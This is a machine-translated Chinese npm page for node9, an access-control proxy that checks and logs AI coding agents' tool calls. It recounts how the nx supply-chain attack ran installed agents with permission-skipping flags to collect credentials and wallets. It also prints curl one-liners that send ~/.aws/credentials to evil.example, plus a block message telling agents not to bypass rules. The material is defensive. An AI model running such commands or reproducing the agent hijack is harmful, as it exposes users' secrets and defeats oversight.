# @node9/proxy 中文文档

规范地址：https://npmcn.com/package/%40node9/proxy/

版本：2\.47\.1
npm 元数据更新时间：2026-11-01T22:19:24.256Z
中文译文更新时间：2026-11-02T00:51:14.328Z
软件包许可：Apache-2\.0

本文由上游 README 机器翻译，可能存在偏差，请结合原文核对 API、命令与配置。版权与许可归原作者所有。

原始 npm 页面：https://www.npmjs.com/package/%40node9/proxy
原文对照：https://npmcn.com/package/%40node9/proxy/?lang=original
项目主页：https://github.com/node9-ai/node9-proxy#readme
源码仓库：https://github.com/node9-ai/node9-proxy

## 关键信息（来自 npm 元数据）

- 包体积（解压后）：12.8 MB，20 个文件
- 模块格式：ESM + CJS
- TypeScript 类型：包内自带
- Node.js 要求：\>=22
- 运行依赖：14 个
- 首次发布：2026-03-02T22:31:52.487Z
- 最新版本发布：2026-11-01T22:19:23.961Z
- 已发布版本数：270（近 12 个月 270 个）

## 中文简介

AI代理的访问控制。设置Claude Code， Codex, Gemini， Cursor和任何MCP服务器允许执行的操作，在运行之前检查风险操作，并记录每个操作。

## 安装

```sh
npm install @node9/proxy
```

也可以使用：`pnpm add @node9/proxy`、`yarn add @node9/proxy`、`bun add @node9/proxy`

## README

# 🛡️node9

AI代理的访问控制

**你的人工智能代理可以访问Slack、GitHub、电子邮件和你的数据库。  
Node9决定如何处理每个节点。**

[![npm version](https://img.shields.io/npm/v/node9-ai.svg)](https://www.npmjs.com/package/node9-ai) [![monthly downloads](https://img.shields.io/npm/dm/node9-ai.svg)](https://www.npmjs.com/package/node9-ai) [![License: Apache 2.0](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) [![Documentation](https://img.shields.io/badge/docs-node9.ai-blue)](https://node9.ai/docs) [![OpenSSF Best Practices](https://www.bestpractices.dev/projects/14454/badge)](https://www.bestpractices.dev/projects/14454) [![OpenSSF Scorecard](https://api.scorecard.dev/projects/github.com/node9-ai/node9-proxy/badge)](https://scorecard.dev/viewer/?uri=github.com/node9-ai/node9-proxy) [![node9 self-scanned](https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K)](https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml) [![Mentioned in Awesome Claude Code](https://awesome.re/mentioned-badge-flat.svg)](https://github.com/hesreallyhim/awesome-claude-code)

**凭据监狱** · **机密和个人身份信息** · **破坏性的git， SQL和shell保留以供审查** · **MCP工具钉钉** · **网络出口允许列表** · **回路断路器** · **一条记录跨12个代理**

适用于 **Claude Code·Codex CLI·Antigravity （agy）·GitHub Copilot CLI·Gemini CLI·Cursor·Windsurf·VSCode·Claude Desktop·Opencode·Pi·Hermes Agent·任何MCP服务器**.

## 它是什么样子的

安装了node9的真实Claude Code会话。检查每个工具调用 在它运行之前。构建页面和编辑按钮运行。对云的请求 元数据地址被阻塞，代理得到原因并继续。 删除文件等待您的批准，就在聊天中。

![node9 in a Claude Code session: two calls allowed, one blocked, one held for approval](https://github.com/user-attachments/assets/bfd3eec5-94fa-45a9-ac79-d06684ab4b2c)

## 安装

```bash
brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform
```

然后，在任何项目中：

```bash
node9            # first run: choose dashboard connection or local protection
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard
```

要求Node.js 22+。

在一个新的交互式终端上， `node9` 指导您完成设置。地方重点保护 无需解释。清单显示推荐护盾，DLP/PII，可选 网络出口审核，后台服务。发送使用统计信息 只有当您接受单独的提示时。摘要列出了已配置的代理 以及任何需要注意的设置步骤。

运行 `node9 setup` 要重新访问设置，或 `node9 setup <target>` 配置一个代理。 配置完成后，裸机 `node9` 显示帮助。 `node9 init` 仍然是可用的;为 脚本使用 `node9 init --recommended` （没有问题，也没有遥测选项）。 `--skip-setup` 单独留下代理布线和服务安装。显式的 `--mode` 优先于检查表的标准模式推荐。 除非选择更改或显式标记请求，否则保留现有设置 一个更新。工作区策略在仪表板中进行管理；服务设置保持本地。

**`login` 对执法没有任何帮助。** 它把机器和工作空间连接起来 团队可以在每个人的笔记本电脑和CI上看到一个记录，集中设置策略， 并通过仪表板或Slack批准持有的操作。跳过它，node9可以正常工作 同样的，独自一人，离线。 `node9 logout` 再次断开与本地执法的连接 保持运行。

### 用作MCP服务器

node9还作为MCP服务器运行，因此代理可以读取其状态、状态和审计 记录和政策，并解释任何决定，从对话内部；

```bash
claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server
```

任何MCP客户端都以相同的方式工作：命令为 `npx -y node9-ai mcp-server` 在工作室，没有API密钥。它在官方MCP注册表中被列为 `io.github.node9-ai/node9`.

## 这个问题

2025年8月，泄露的 [`nx` 构建工具](https://github.com/advisories/GHSA-cxm3-wv7p-598c) 提供了一个安装后版本 脚本寻找已经安装在开发人员的机器上的AI编码代理，然后运行 他们关掉了自己的安全标志(`--dangerously-skip-permissions`， `--yolo`， `--trust-all-tools`)枚举SSH密钥、云凭证和钱包文件并编写列表 到磁盘。该脚本将结果推送到受害者自己的GitHub中的公共存储库中 账户。超过一千个有效的GitHub令牌泄露，还有云凭证，npm 令牌和大约2万份文件，这些文件来自代理正在执行任务的机器 告知。

这名特工不是袭击者。代理人是工具，没有什么能阻挡它和工具 文件。Node9的gate不是这些标志之一：它在钩子中运行，并且它持有的操作保持不变 即使在跳过权限启动代理时也保持。

## node9对此做了什么

Node9位于代理和它调用的每个工具之间。证书监狱(`~/.ssh`， `~/.aws`， `.env` 默认情况下，文件（私钥）是打开的，并且不会运行对其中一个路径的读取。 代理人被阻止，被告知原因，然后你来做决定：

```text
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
```

该命令作为shell AST进行解析，而不是作为文本进行匹配，因此对读取的内容进行包装没有帮助。 `echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example` 被判定为阅读 的 `~/.aws/credentials`，而不是 `echo`.

Node9是 **门**． 持有的操作在等待您时不会运行，如果您不回答 它仍然是阻塞的。其他的都可以写入记录。

**它不能做什么：** 在关闭出口控制（缺省情况下）的情况下，将发送一个 文件直接传到网络，如 `curl -d @~/.aws/credentials`，不被视为读过的 该文件。 `node9 egress protect` 盖茨目的地也一样，它只涵盖shell命令。

## 自己验证一下

下面不需要帐户或上传代码。 `scan-repo` 发送匿名使用计数 （没有存储库名称，没有代码）；集 `NODE9_NO_TELEMETRY=1` 关掉它。

```bash
npx node9-ai scan                                        # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
```

![node9 scan scorecard](https://github.com/user-attachments/assets/7c5b30f1-1ca1-40b4-bfd5-d6671002e98e)

## 它所管理的

每一行都是一个功能，带有记录它的页面。医生是 参考;这个文件就是地图。

|  |  |  |
| --- | --- | --- |
| **凭据监狱** | `~/.ssh`， `~/.aws`， `.env` 私钥被每个工具屏蔽，而不仅仅是shell | [文档](https://node9.ai/docs/shields) |
| **不间断的规则** | 破坏性的git， SQL没有 `WHERE`， `curl | bash` 和未经授权的 `sudo`，不配置 | [文档](https://node9.ai/docs/smart-rules) |
| **机密和个人身份信息** | AWS密钥，GitHub和Stripe令牌，PEM密钥和卡片或SSN形状，在任何工具参数中，加上代理回写的后台扫描 | [文档](https://node9.ai/docs/dlp) |
| **每个服务盾牌** | 为Postgres， MongoDB, Redis， AWS, Kubernetes, Docker， GitHub和文件系统策划规则包 | [文档](https://node9.ai/docs/shields) |
| **内联审查** | 持有的操作在代理对话中或通过团队审批者询问您 | [文档](https://node9.ai/docs/cloud-policy) |
| **出口allowlist** | shell命令可以发送数据的门，默认情况下关闭 | [文档](https://node9.ai/docs/egress) |
| **MCP网关** | 包装任何MCP服务器，授权每个工具，并锁定工具定义，以便服务器无法在您背后更改它们 | [文档](https://node9.ai/docs/mcp-gateway) |
| **沙盒** | 在具有内核出口允许列表和限定挂载的容器中运行代理 | [文档](https://node9.ai/docs/sandbox) |
| **姿势得分** | 使用修复每个发现的命令，这台机器的暴露程度如何 | [文档](https://node9.ai/docs/posture) |
| **回购扫描** | 找到一个局外人可以在CI或CLI中劫持持有您秘密的代理的工作流程 | [文档](https://node9.ai/docs/repo-scanning) |
| **会话历史** | 阅读在安装node9之前，这台机器上的每个代理已经做了什么 | [文档](https://node9.ai/docs/sessions) |
| **实时监控和报告** | 一个终端仪表板，以及成本、工具、区块和爆破半径的窗口汇总 | [文档](https://node9.ai/docs/report) |
| **技能将** | 在会话之间安装的Claude技能和插件的SHA-256验证 | [文档](https://node9.ai/docs/skill-pinning) |
| **金丝雀凭证** | 放了假钥匙，证明有人企图逃跑 | [文档](https://node9.ai/docs/canary-credentials) |
| **Python SDK** | 管理任何Python代理，而不仅仅是cli | [文档](https://node9.ai/docs/python-sdk) |

完整的CLI和配置参考： **[node9.ai /文档](https://node9.ai/docs)**. 图层是如何组合在一起的： **[它是如何工作的](https://node9.ai/docs/how-it-works)**.

## 学习

背景读书，要靠自己写。每页都说明node9没有涵盖的内容。

-   **[被劫持的特工能做什么？](https://node9.ai/learn/what-can-a-hijacked-agent-do)**：一个受损会话的爆炸半径
-   **[人工智能代理是如何泄露秘密的](https://node9.ai/learn/ai-agent-secret-exfiltration)**：凭证实际带出的路径
-   **[克劳德代码安全](https://node9.ai/learn/claude-code-security)**：钩子，权限模式，以及它们不能停止的内容
-   **[MCP安全](https://node9.ai/learn/mcp-security)**： MCP服务器打开的工具面
-   **[OWASP代理前10名](https://node9.ai/learn/owasp-agentic-top-10)**：列表，映射到实际控件

## 比较

-   **[Node9和备选方案](https://node9.ai/compare)**：一个矩阵，包括node9得分较低的行
-   **[每个代理保险](https://node9.ai/agents)**： 12个受支持的代理中每个代理所支配的内容

## 相关项目

-   **[node9-python](https://github.com/node9-ai/node9-python)**Python SDK
-   **[node9代理安全](https://github.com/marketplace/actions/node9-agent-security)**： GitHub动作； `uses: node9-ai/node9-proxy@v2`使用相同的引擎对每个PR进行闸门(它发送相同的匿名使用计数； `telemetry: false` （关闭）

## 企业

**node9职业** 增加了治理锁定、SAML/SSO、集中审计导出和VPC部署。看到 [node9.ai](https://node9.ai/).

## 许可证

apache - 2.0

建立在☕和健康的偏执之上。

## 常见问题

### @node9/proxy 是什么？

AI代理的访问控制。设置Claude Code， Codex, Gemini， Cursor和任何MCP服务器允许执行的操作，在运行之前检查风险操作，并记录每个操作。

### 如何安装 @node9/proxy？

在项目目录运行 npm install @node9/proxy，或使用 pnpm add / yarn add / bun add。它还提供命令行工具 node9，可以用 npx node9 直接运行。

### @node9/proxy 支持 TypeScript 吗？

支持。包内自带 TypeScript 类型声明（package\.json 声明了 types 入口），安装后即可获得类型提示，无需再安装 @types 包。

### @node9/proxy 支持 ESM 还是 CommonJS？

同时提供 ES Module 与 CommonJS 入口，import 和 require\(\) 都可以使用，打包工具会自动选择合适的版本。

### @node9/proxy 需要什么版本的 Node\.js？

package\.json 的 engines 字段要求 Node\.js \>=22。版本不符时 npm 默认只给出警告，开启 engine-strict 后会拒绝安装。

### @node9/proxy 可以商用吗？

@node9/proxy 使用 Apache-2\.0 许可。宽松许可：允许商业使用、修改和再分发，并附带明确的专利授权；分发时需保留许可与 NOTICE 文件，修改过的文件要注明改动。以上为概括，不构成法律意见，请以许可原文为准。

### @node9/proxy 还在维护吗？

最新版本 2\.47\.1 发布于 2026/11/02（1 天前）；至今共发布 270 个版本，其中过去 12 个月发布了 270 个；首次发布于 2026/03/03。发布频率只是参考信号：功能稳定的工具可能很少需要更新，建议结合源码仓库的 issue 和提交记录判断。

